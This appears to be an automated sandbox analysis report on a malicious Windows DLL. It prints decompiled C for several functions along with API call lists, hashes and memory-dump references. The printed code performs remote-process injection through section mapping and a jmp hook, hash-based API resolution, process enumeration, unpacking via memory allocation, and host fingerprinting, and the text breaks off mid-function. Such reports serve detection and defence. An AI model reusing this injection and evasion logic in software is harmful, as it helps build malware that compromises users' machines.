				intOrPtr* _t113;
				struct _EXCEPTION_RECORD _t116;
				void* _t126;
				void* _t131;
				intOrPtr _t134;
				void* _t140;
				void* _t141;

				_t69 =  *0x6d80e688; // 0x2910590
				_t126 = __ecx;
				_t134 = __edx;
				_t116 = 0;
				_v36 = __edx;
				_v16 = 0;
				_v44 = 0;
				_v40 = 0;
				_v12 = 0;
				_v8 = 0;
				_v24 = 0;
				_v20 = __ecx;
				if(( *(_t69 + 0x1898) & 0x00000040) != 0) {
					E6D7FE280(0x1f4);
					_t116 = 0;
				}
				_t113 =  *((intOrPtr*)(_t134 + 0x3c)) + _t134;
				_v28 = _t116;
				if( *_t113 != 0x4550) {
					L12:
					if(_v8 != 0) {
						_t75 =  *0x6d80e780; // 0x298fbc8
						 *((intOrPtr*)(_t75 + 0x10))(_t126, _v8);
						_v8 = _v8 & 0x00000000;
					}
					L14:
					if(_v12 != 0) {
						NtUnmapViewOfSection(GetCurrentProcess(), _v12);
					}
					if(_v16 != 0) {
						NtClose(_v16);
					}
					return _v8;
				}
				_v44 =  *((intOrPtr*)(_t113 + 0x50));
				if(NtCreateSection( &_v16, 0xe, _t116,  &_v44, 0x40, 0x8000000, _t116) < 0) {
					goto L12;
				}
				_v120.style = 0xb;
				_v120.cbSize = 0x30;
				_v120.lpszClassName =  &_v56;
				asm("movsd");
				_v120.lpfnWndProc = DefWindowProcA;
				asm("movsd");
				asm("movsd");
				asm("movsb");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_v120.cbWndExtra = 0;
				_v120.lpszMenuName = 0;
				_v120.cbClsExtra = 0;
				_v120.hInstance = 0;
				if(RegisterClassExA( &_v120) != 0) {
					_t106 = CreateWindowExA(0,  &_v56,  &_v72, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, 0, 0); // executed
					if(_t106 != 0) {
						DestroyWindow(_t106); // executed
						UnregisterClassA( &_v56, 0);
					}
				}
				if(NtMapViewOfSection(_v16, GetCurrentProcess(),  &_v12, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
					_t126 = _v20;
					goto L12;
				} else {
					_t126 = _v20;
					if(NtMapViewOfSection(_v16, _t126,  &_v8, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
						goto L12;
					}
					_t140 = E6D7F864A( *0x6d80e688, 0x1ac4);
					_v32 = _t140;
					if(_t140 == 0) {
						goto L12;
					}
					 *((intOrPtr*)(_t140 + 0x224)) = _v8;
					_t131 = VirtualAllocEx(_t126, 0, 0x1ac4, 0x1000, 4);
					WriteProcessMemory(_v20, _t131, _t140, 0x1ac4,  &_v28);
					E6D7F85FB( &_v32, 0x1ac4);
					_t141 =  *0x6d80e688; // 0x2910590
					 *0x6d80e688 = _t131;
					E6D7F86C2(_v12, _v36,  *((intOrPtr*)(_t113 + 0x50)));
					E6D7FC681(_v12, _v8, _v36);
					 *0x6d80e688 = _t141;
					goto L14;
				}
			}

0x6d7fc708
0x6d7fc70f
0x6d7fc711
0x6d7fc713
0x6d7fc715
0x6d7fc718
0x6d7fc71b
0x6d7fc71e
0x6d7fc721
0x6d7fc724
0x6d7fc727
0x6d7fc731
0x6d7fc734
0x6d7fc73b
0x6d7fc740
0x6d7fc740
0x6d7fc746
0x6d7fc748
0x6d7fc751
0x6d7fc8f7
0x6d7fc8fb
0x6d7fc900
0x6d7fc906
0x6d7fc909
0x6d7fc909
0x6d7fc90d
0x6d7fc912
0x6d7fc924
0x6d7fc924
0x6d7fc92d
0x6d7fc937
0x6d7fc937
0x6d7fc93e
0x6d7fc93e
0x6d7fc760
0x6d7fc77a
0x00000000
0x00000000
0x6d7fc785
0x6d7fc78f
0x6d7fc799
0x6d7fc79c
0x6d7fc7a2
0x6d7fc7a9
0x6d7fc7aa
0x6d7fc7ab
0x6d7fc7b4
0x6d7fc7b5
0x6d7fc7b6
0x6d7fc7b8
0x6d7fc7bb
0x6d7fc7be
0x6d7fc7c1
0x6d7fc7c4
0x6d7fc7d0
0x6d7fc7f2
0x6d7fc7fa
0x6d7fc7fd
0x6d7fc808
0x6d7fc808
0x6d7fc7fa
0x6d7fc833
0x6d7fc8f4
0x00000000
0x6d7fc839
0x6d7fc845
0x6d7fc85a
0x00000000
0x00000000
0x6d7fc870
0x6d7fc872
0x6d7fc879
0x00000000
0x00000000
0x6d7fc88a
0x6d7fc8a1
0x6d7fc8b1
0x6d7fc8bd
0x6d7fc8c2
0x6d7fc8c8
0x6d7fc8d8
0x6d7fc8e4
0x6d7fc8ec
0x00000000
0x6d7fc8ec

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6D7F5CCD), ref: 6D7FC775
RegisterClassExA.USER32 ref: 6D7FC7C7
CreateWindowExA.USER32 ref: 6D7FC7F2
DestroyWindow.USER32 ref: 6D7FC7FD
UnregisterClassA.USER32(?,00000000), ref: 6D7FC808
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6D7FC824
NtMapViewOfSection.NTDLL(?,00000000), ref: 6D7FC82E
NtMapViewOfSection.NTDLL(?,6D7FCBE2,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6D7FC855
VirtualAllocEx.KERNEL32(6D7FCBE2,00000000,00001AC4,00001000,00000004), ref: 6D7FC898
WriteProcessMemory.KERNEL32(6D7FCBE2,00000000,00000000,00001AC4,?), ref: 6D7FC8B1

Part of subcall function 6D7F85FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6D7F8641

GetCurrentProcess.KERNEL32(00000000), ref: 6D7FC91D
NtUnmapViewOfSection.NTDLL(00000000), ref: 6D7FC924
NtClose.NTDLL(00000000), ref: 6D7FC937

Strings

sadccdcdsasa, xrefs: 6D7FC780
cdcdwqwqwq, xrefs: 6D7FC7AC
0, xrefs: 6D7FC78F

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$ProcessView$ClassCreateCurrentWindow$AllocCloseDestroyFreeHeapMemoryRegisterUnmapUnregisterVirtualWrite
String ID: 0$cdcdwqwqwq$sadccdcdsasa
API String ID: 2002808388-2319545179
Opcode ID: 5d092bb6de751eb988f044b2c9220a66fd2494383aa04705108c9d8011da68fb
Instruction ID: d70efdacd55e405db5d28d6399583e83049bf4be0d60d9830c6aef4a12dc3710
Opcode Fuzzy Hash: 5d092bb6de751eb988f044b2c9220a66fd2494383aa04705108c9d8011da68fb
Instruction Fuzzy Hash: F3712B71900209AFEF11DF95CA48FAFBBB9FF4A711F10446AF611A7240D7709A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F5F63, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			_entry_(void* __edx, struct HINSTANCE__* _a4, WCHAR* _a8) {
				long _v8;
				char _v16;
				short _v144;
				short _v664;
				void* _t19;
				struct HINSTANCE__* _t22;
				long _t23;
				long _t24;
				char* _t27;
				WCHAR* _t32;
				long _t33;
				void* _t38;
				void* _t49;
				struct _SECURITY_ATTRIBUTES* _t53;
				void* _t54;
				intOrPtr* _t55;
				void* _t57;

				_t49 = __edx;
				OutputDebugStringA("Hello qqq"); // executed
				if(_a8 != 1) {
					if(_a8 != 0) {
						L12:
						return 1;
					}
					SetLastError(0xaa);
					L10:
					return 0;
				}
				E6D7F85D0();
				_t19 = E6D7F97ED( &_v16);
				_t57 = _t49;
				if(_t57 < 0 || _t57 <= 0 && _t19 < 0x2e830) {
					goto L12;
				} else {
					E6D7F8F59();
					GetModuleHandleA(0);
					_t22 = _a4;
					 *0x6d80e69c = _t22;
					_t23 = GetModuleFileNameW(_t22,  &_v664, 0x104);
					_t24 = GetLastError();
					if(_t23 != 0 && _t24 != 0x7a) {
						memset( &_v144, 0, 0x80);
						_t55 = _t54 + 0xc;
						_t53 = 0;
						do {
							_t27 = E6D7F95A8(_t53);
							_a8 = _t27;
							MultiByteToWideChar(0, 0, _t27, 0xffffffff,  &_v144, 0x3f);
							E6D7F85A3( &_a8);
							_t53 =  &(_t53->nLength);
						} while (_t53 < 0x2710);
						E6D802A93( *0x6d80e69c);
						 *_t55 = 0x7c3;
						 *0x6d80e684 = E6D7FE1FE(0x6d80ba20, 0x11c);
						 *_t55 = 0xb4e;
						_t32 = E6D7F95C2(0x6d80ba20);
						_a8 = _t32;
						_t33 = GetFileAttributesW(_t32); // executed
						_push( &_a8);
						if(_t33 == 0xffffffff) {
							E6D7F85B6();
							_v8 = 0;
							_t38 = CreateThread(0, 0, E6D7F5DE7, 0, 0,  &_v8);
							 *0x6d80e6a8 = _t38;
							if(_t38 == 0) {
								goto L10;
							}
							goto L12;
						}
						E6D7F85B6();
					}
					goto L10;
				}
			}

0x6d7f5f63
0x6d7f5f73
0x6d7f5f7d
0x6d7f60b1
0x6d7f60a4
0x00000000
0x6d7f60a6
0x6d7f60b8
0x6d7f6079
0x00000000
0x6d7f6079
0x6d7f5f83
0x6d7f5f8b
0x6d7f5f92
0x6d7f5f94
0x00000000
0x6d7f5fa7
0x6d7f5fa7
0x6d7f5fad
0x6d7f5fb3
0x6d7f5fc3
0x6d7f5fc8
0x6d7f5fd0
0x6d7f5fd8
0x6d7f5ff4
0x6d7f5ff9
0x6d7f5ffc
0x6d7f5ffe
0x6d7f6000
0x6d7f600d
0x6d7f6016
0x6d7f601f
0x6d7f6024
0x6d7f6025
0x6d7f6033
0x6d7f603d
0x6d7f604e
0x6d7f6053
0x6d7f605a
0x6d7f6061
0x6d7f6064
0x6d7f6070
0x6d7f6071
0x6d7f607d
0x6d7f6086
0x6d7f6098
0x6d7f609b
0x6d7f60a2
0x00000000
0x00000000
0x00000000
0x6d7f60a2
0x6d7f6073
0x6d7f6078
0x00000000
0x6d7f5fd8

APIs

OutputDebugStringA.KERNEL32(Hello qqq), ref: 6D7F5F73
SetLastError.KERNEL32(000000AA), ref: 6D7F60B8

Part of subcall function 6D7F85D0: HeapCreate.KERNEL32(00000000,00080000,00000000,6D7F5F88), ref: 6D7F85D9

Part of subcall function 6D7F97ED: GetSystemTimeAsFileTime.KERNEL32(?,?,6D7F5F90), ref: 6D7F97FA

GetModuleHandleA.KERNEL32(00000000), ref: 6D7F5FAD
GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 6D7F5FC8
GetLastError.KERNEL32 ref: 6D7F5FD0
memset.MSVCRT ref: 6D7F5FF4
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,0000003F), ref: 6D7F6016
GetFileAttributesW.KERNEL32(00000000), ref: 6D7F6064
CreateThread.KERNEL32(00000000,00000000,6D7F5DE7,00000000,00000000,?), ref: 6D7F6098

Strings

Hello qqq, xrefs: 6D7F5F6E

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CreateErrorLastModuleTime$AttributesByteCharDebugHandleHeapMultiNameOutputStringSystemThreadWidememset
String ID: Hello qqq
API String ID: 3855888715-3610097158
Opcode ID: 86805285033970df318616149d60311608f87f7c295420e421354c75345ae192
Instruction ID: 4a72646b52709bd7422c9f6566aa75416bb13719c4066a79cdbb473e7ad9a506
Opcode Fuzzy Hash: 86805285033970df318616149d60311608f87f7c295420e421354c75345ae192
Instruction Fuzzy Hash: 7331B271904105ABDB20AF65DE4CF6E37B8EF46334F20852DE525C6380DB348686CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 6D86F9DD, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000862,00003000,00000040,00000862,6D86F430), ref: 6D86FA9A
VirtualAlloc.KERNEL32(00000000,00000183,00003000,00000040,6D86F48F), ref: 6D86FAD1
VirtualAlloc.KERNEL32(00000000,00022F3E,00003000,00000040), ref: 6D86FB31
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D86FB67
VirtualProtect.KERNEL32(6D7F0000,00000000,00000004,6D86F9BC), ref: 6D86FC6C
VirtualProtect.KERNEL32(6D7F0000,00001000,00000004,6D86F9BC), ref: 6D86FC93
VirtualProtect.KERNEL32(00000000,?,00000002,6D86F9BC), ref: 6D86FD60
VirtualProtect.KERNEL32(00000000,?,00000002,6D86F9BC,?), ref: 6D86FDB6
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D86FDD2

Memory Dump Source

Source File: 00000004.00000002.508355511.000000006D86F000.00000040.00020000.sdmp, Offset: 6D86F000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction ID: 565e6f326765c89a47cf0a697453405b4816759f23d27be2d8bc6007678fae9b
Opcode Fuzzy Hash: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction Fuzzy Hash: 34D1BC76102202AFDF11CF9AC884B9177A6FF48720B0945D6EE19AF75AD371E84DCB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FCBB9, Relevance: 7.6, APIs: 5, Instructions: 105
nativeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6D7FCBB9(void* __ecx, void** __edx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v23;
				void _v24;
				long _v28;
				void* _v568;
				void _v744;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t32;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t39;
				intOrPtr _t43;
				void* _t63;
				long _t65;
				void* _t70;
				void** _t73;
				void* _t74;

				_t73 = __edx;
				_t63 = __ecx;
				_t74 = 0;
				if(E6D7FC510(__ecx, __edx, __edx, 0) != 0) {
					_t39 = E6D7FC702( *((intOrPtr*)(__edx)), _a4); // executed
					_t74 = _t39;
					if(_t74 != 0) {
						memset( &_v744, 0, 0x2cc);
						_v744 = 0x10002;
						_push( &_v744);
						_t43 =  *0x6d80e684; // 0x298faa0
						_push(_t73[1]);
						if( *((intOrPtr*)(_t43 + 0xa8))() != 0) {
							_t70 = _v568;
							_v12 = _v12 & 0x00000000;
							_v24 = 0xe9;
							_t65 = 5;
							_v23 = _t74 - _t70 - _a4 + _t63 + 0xfffffffb;
							_v8 = _t65;
							_v16 = _t70;
							if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, 4,  &_v12) < 0 || NtWriteVirtualMemory( *_t73, _v568,  &_v24, _t65,  &_v8) < 0) {
								L6:
								_t74 = 0;
							} else {
								_v28 = _v28 & 0x00000000;
								if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, _v12,  &_v28) < 0) {
									goto L6;
								}
							}
						}
					}
				}
				_t32 =  *0x6d80e77c; // 0x0
				if(_t32 != 0) {
					FreeLibrary(_t32);
					 *0x6d80e77c =  *0x6d80e77c & 0x00000000;
				}
				_t33 =  *0x6d80e784; // 0x0
				if(_t33 != 0) {
					_t35 =  *0x6d80e684; // 0x298faa0
					 *((intOrPtr*)(_t35 + 0x10c))(_t33);
					E6D7F85FB(0x6d80e784, 0xfffffffe);
				}
				return _t74;
			}

0x6d7fcbc5
0x6d7fcbc7
0x6d7fcbc9
0x6d7fcbd2
0x6d7fcbdd
0x6d7fcbe2
0x6d7fcbe6
0x6d7fcbfa
0x6d7fcc02
0x6d7fcc12
0x6d7fcc13
0x6d7fcc18
0x6d7fcc23
0x6d7fcc29
0x6d7fcc31
0x6d7fcc3f
0x6d7fcc45
0x6d7fcc46
0x6d7fcc52
0x6d7fcc59
0x6d7fcc69
0x6d7fcca9
0x6d7fcca9
0x6d7fcc88
0x6d7fcc88
0x6d7fcca7
0x00000000
0x00000000
0x6d7fcca7
0x6d7fcc69
0x6d7fcc23
0x6d7fcbe6
0x6d7fccab
0x6d7fccb2
0x6d7fccb5
0x6d7fccbb
0x6d7fccbb
0x6d7fccc2
0x6d7fccc9
0x6d7fcccc
0x6d7fccd1
0x6d7fccde
0x6d7fcce4
0x6d7fcceb

APIs

Part of subcall function 6D7FC510: LoadLibraryW.KERNEL32 ref: 6D7FC608
Part of subcall function 6D7FC510: memset.MSVCRT ref: 6D7FC647

FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6D7FCCB5

Part of subcall function 6D7FC702: NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6D7F5CCD), ref: 6D7FC775
Part of subcall function 6D7FC702: RegisterClassExA.USER32 ref: 6D7FC7C7
Part of subcall function 6D7FC702: CreateWindowExA.USER32 ref: 6D7FC7F2
Part of subcall function 6D7FC702: DestroyWindow.USER32 ref: 6D7FC7FD
Part of subcall function 6D7FC702: UnregisterClassA.USER32(?,00000000), ref: 6D7FC808

memset.MSVCRT ref: 6D7FCBFA
NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6D7FCC64
NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6D7FCC81
NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6D7FCCA2

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$ClassCreateLibraryProtectWindowmemset$DestroyFreeLoadRegisterSectionUnregisterWrite
String ID:
API String ID: 317994034-0
Opcode ID: 40cacb6d51726435c9c601262fed0bee3399cffaa0c9fd7a5c95305ed029e937
Instruction ID: 5e205e28ae7682a69991538b4bef07d1c9940296f0bf6389046f86e432000f2a
Opcode Fuzzy Hash: 40cacb6d51726435c9c601262fed0bee3399cffaa0c9fd7a5c95305ed029e937
Instruction Fuzzy Hash: 343152B2A0010AAFEB11DFA4CE89FEEB7BDEF48221F100166E515D7250E770DA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FABE5, Relevance: 7.6, APIs: 5, Instructions: 65
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D7FABE5(intOrPtr __ecx, void* __edx) {
				void* _v304;
				void* _v308;
				signed int _t14;
				signed int _t15;
				void* _t22;
				intOrPtr _t28;
				void* _t31;
				intOrPtr _t33;
				void* _t40;
				void* _t42;

				_t33 = __ecx;
				_t31 = __edx; // executed
				_t14 = CreateToolhelp32Snapshot(2, 0);
				_t42 = _t14;
				_t15 = _t14 | 0xffffffff;
				if(_t42 != _t15) {
					memset( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t42,  &_v304) != 0) {
						while(1) {
							_t22 = E6D7FCD02(_t33,  &_v308, _t31); // executed
							_t40 = _t22;
							if(_t40 == 0) {
								break;
							}
							_t33 =  *0x6d80e684; // 0x298faa0
							if(Process32Next(_t42,  &_v308) != 0) {
								continue;
							}
							break;
						}
						CloseHandle(_t42);
						_t15 = 0 | _t40 == 0x00000000;
					} else {
						_t28 =  *0x6d80e684; // 0x298faa0
						 *((intOrPtr*)(_t28 + 0x30))(_t42);
						_t15 = 0xfffffffe;
					}
				}
				return _t15;
			}

0x6d7fabe5
0x6d7fabfd
0x6d7fabff
0x6d7fac02
0x6d7fac04
0x6d7fac09
0x6d7fac18
0x6d7fac20
0x6d7fac34
0x6d7fac44
0x6d7fac4a
0x6d7fac4f
0x6d7fac55
0x00000000
0x00000000
0x6d7fac57
0x6d7fac68
0x00000000
0x00000000
0x00000000
0x6d7fac68
0x6d7fac70
0x6d7fac77
0x6d7fac36
0x6d7fac36
0x6d7fac3c
0x6d7fac41
0x6d7fac41
0x6d7fac34
0x6d7fac80

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000011,?,00000010), ref: 6D7FABFF
memset.MSVCRT ref: 6D7FAC18
Process32First.KERNEL32(00000000,?), ref: 6D7FAC2F
Process32Next.KERNEL32(00000000,?), ref: 6D7FAC63
CloseHandle.KERNEL32(00000000), ref: 6D7FAC70

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32memset
String ID:
API String ID: 1267121359-0
Opcode ID: df1d36bb87b5d2a9ddec21208765abf0a2de005ae97c313a056020ccaecea0db
Instruction ID: 413512bef0aea4adb5bf72b5ee558a03ddc3244964c97f2645b3f82a94798513
Opcode Fuzzy Hash: df1d36bb87b5d2a9ddec21208765abf0a2de005ae97c313a056020ccaecea0db
Instruction Fuzzy Hash: E411A7722142026BD720DA68DE4CF5B37ADEF89370F15062AF534C7280EB24D405C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FDFEF, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D7FDFEF(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E6D7FD442( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E6D7FC3BB( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

0x6d7fdff8
0x6d7fdffa
0x6d7fdffd
0x6d7fe000
0x6d7fe006
0x6d7fe063
0x00000000
0x6d7fe063
0x6d7fe008
0x6d7fe013
0x6d7fe016
0x6d7fe01b
0x6d7fe020
0x6d7fe023
0x6d7fe025
0x6d7fe028
0x6d7fe02b
0x6d7fe030
0x00000000
0x00000000
0x00000000
0x00000000
0x6d7fe032
0x6d7fe032
0x6d7fe044
0x6d7fe051
0x6d7fe055
0x00000000
0x00000000
0x6d7fe057
0x6d7fe05a
0x6d7fe05b
0x6d7fe061
0x00000000
0x00000000
0x00000000
0x6d7fe061
0x6d7fe078
0x6d7fe07d
0x6d7fe081
0x00000000
0x6d7fe08d
0x6d7fe08d
0x6d7fe08f
0x6d7fe08f
0x6d7fe095
0x00000000
0x00000000
0x6d7fe09b
0x6d7fe09f
0x6d7fe0a3
0x00000000
0x00000000
0x00000000
0x6d7fe0a3
0x6d7fe0a9
0x6d7fe0b1
0x6d7fe0b6
0x6d7fe0b9
0x6d7fe0b9
0x6d7fe0bb
0x6d7fe0bf
0x6d7fe0c7
0x00000000
0x00000000
0x6d7fe0cb
0x6d7fe0d3
0x00000000
0x00000000
0x00000000
0x6d7fe0d3

APIs

LoadLibraryA.KERNEL32(.dll), ref: 6D7FE0BF
GetProcAddress.KERNEL32(00000000,8DF08B59), ref: 6D7FE0CB

Strings

.dll, xrefs: 6D7FE0BB, 6D7FE0BE

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: bd8ca9906d060fd438e2912f9b969ae4b475c5466e2e464f20416cb59668f4f2
Instruction ID: 2b2b4d72f9378ad69308bb21ab88700a98bf82f518cd6a92b1d7e0df170d1ed8
Opcode Fuzzy Hash: bd8ca9906d060fd438e2912f9b969ae4b475c5466e2e464f20416cb59668f4f2
Instruction Fuzzy Hash: 9731BC31A0015A8BDB24CFA9C980BAEBBF5FF45324F64446AC854D7341DB30D9828BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D83AFC0, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 262memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(6D86E920,0000051D), ref: 6D83B1EF
VirtualProtect.KERNEL32(6D86F420,00005016,00000040,6D86F424), ref: 6D83B230
GetWindowsDirectoryW.KERNEL32(6D86E920,0000051D), ref: 6D83B3DC

Strings

@, xrefs: 6D83AFCE
+JAA, xrefs: 6D83B001, 6D83B016, 6D83B04F, 6D83B055, 6D83B25D, 6D83B292
B, xrefs: 6D83AFC7

Memory Dump Source

Source File: 00000004.00000002.508314612.000000006D811000.00000020.00020000.sdmp, Offset: 6D811000, based on PE: false

Similarity

API ID: DirectoryWindows$ProtectVirtual
String ID: +JAA$@$B
API String ID: 1258730550-3055704029
Opcode ID: b8ff46738f387ae5fb6bf1db79373420d3269901279540e44b00f51bc7a729ca
Instruction ID: 2e948e7a08e4630cce21d5bfa11798fbf76e493a3fe1c08d5f5a36a6a4c82ab8
Opcode Fuzzy Hash: b8ff46738f387ae5fb6bf1db79373420d3269901279540e44b00f51bc7a729ca
Instruction Fuzzy Hash: 6BD146B55061D48FCB09CF69C6AD7793BF2EBCE324B28A169D4498A34EC3749580CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FB7EA, Relevance: 9.1, APIs: 6, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D7FB7EA(WCHAR* __ecx, void* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				memset(__edx, 0, 0x100);
				_v12 = 0x100;
				GetComputerNameW( &_v528,  &_v12);
				lstrcpynW(_t43,  &_v528, 0x100);
				_t27 = E6D7F95C2(_t44, 0xa88);
				_v16 = _t27;
				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E6D7F85B6( &_v16);
